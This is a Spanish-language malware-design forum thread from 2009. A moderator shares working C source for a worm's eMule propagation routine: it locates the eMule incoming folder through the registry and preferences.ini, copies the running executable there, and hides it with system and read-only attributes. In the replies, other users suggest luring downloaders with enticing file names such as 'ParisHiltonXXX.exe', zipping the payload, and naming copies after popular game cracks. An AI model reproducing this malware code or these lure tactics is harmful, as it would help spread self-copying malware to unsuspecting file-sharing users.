elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 08:22  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][C] Propagación P2P (eMule)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][C] Propagación P2P (eMule)  (Leído 2,024 veces)
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
[SRC][C] Propagación P2P (eMule)
« en: 21 Junio 2009, 22:42 »

Bueno, ahora le tocó a emule  :ja: .

Código
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función de propagación P2P por eMule
////////////////////////////////////////////////////////////////
 
void InfectP2P()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
 
//Obtenemos nuestra ruta
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
 
DWORD dwBytes;
HKEY hReg;
DWORD regLenght=MAX_PATH*2;
PPERF_DATA_BLOCK regValue =(PPERF_DATA_BLOCK)GlobalAlloc(GPTR,regLenght);
 
//Comprobamos si está instalado emule
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\eMule",0,KEY_READ,&hReg)==ERROR_SUCCESS)
{
//Obtenemos el valor de la ruta de instalación de emule
RegQueryValueEx(hReg,"Install Path",0,0,(LPBYTE)regValue,&regLenght);
RegCloseKey(hReg);
 
LPSTR EmulePath=(LPSTR)regValue;
lstrcat(EmulePath,"\\config\\preferences.ini");
 
//Obtenemos la carpeta de descargas de emule del .ini
LPSTR EmuleDownloadPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetPrivateProfileString("eMule","IncomingDir",0,EmuleDownloadPath,MAX_PATH,EmulePath);
 
lstrcat(EmuleDownloadPath,"\\miBicho.exe");
 
//Nos copiamos al path
CopyFileA(AppName,EmuleDownloadPath,TRUE);
 
//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
SetFileAttributesA(EmuleDownloadPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
 
GlobalFree(EmuleDownloadPath);
GlobalFree(EmulePath);
}
 
GlobalFree(AppName);
GlobalFree(regValue);
}

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: [SRC][C] Propagación P2P (eMule)
« Respuesta #1 en: 21 Junio 2009, 23:46 »

Muy buena :P Yo en el subforo de ASM postee mi versión en ASM :P
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Erik#


Desconectado Desconectado

Mensajes: 1.138


Pertenezco a Reach


Ver Perfil
Re: [SRC][C] Propagación P2P (eMule)
« Respuesta #2 en: 22 Junio 2009, 11:28 »

Que bueno, voy a estudiarlo :)
En línea
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.132


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][C] Propagación P2P (eMule)
« Respuesta #3 en: 22 Junio 2009, 12:01 »

Jeje, a este ritmo puedes hacer un buen Worm eh Hacker_Zero? :xD

Estoy aprendiendo C! :o

Saludos :P
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 856



Ver Perfil
Re: [SRC][C] Propagación P2P (eMule)
« Respuesta #4 en: 6 Julio 2009, 17:19 »

 :D :D :D

  Buen codigo, yo implemetaba una funcion que revisava todos los directorios, y si decia shared, sharing, incoming, share se copiara alli con un nombre atractivo, por que si lo colocas con un nombre ms71.exe por decir algo, nadie lo va ha buscar y descargar pero si le colocas ParisHiltonXXX.exe alli si se te va ha llenar de incautos que te quieran descargar el fichero, a  mi me funciona asi cuando vuelve arrancar emule detecta el bicho y lo coloca en lalista de compartidos, y si son varios ficheros se puede crear un Zip y tal vez tiene mas oportunidad de propagacion un zip que un exe.

Saludos
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][C] Propagación P2P (eMule)
« Respuesta #5 en: 7 Julio 2009, 13:05 »

Si claro, ésta es la parte de propagación, para hacerlo bien habría que "zippearse" y por ejemplo también pensé en conectarse a una web de juegos para obtener una lista de los más populares y copiarse con el nombre Crack_Patch_JUEGO o algo así, de esa forma siempre estará actualizado  :xD.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines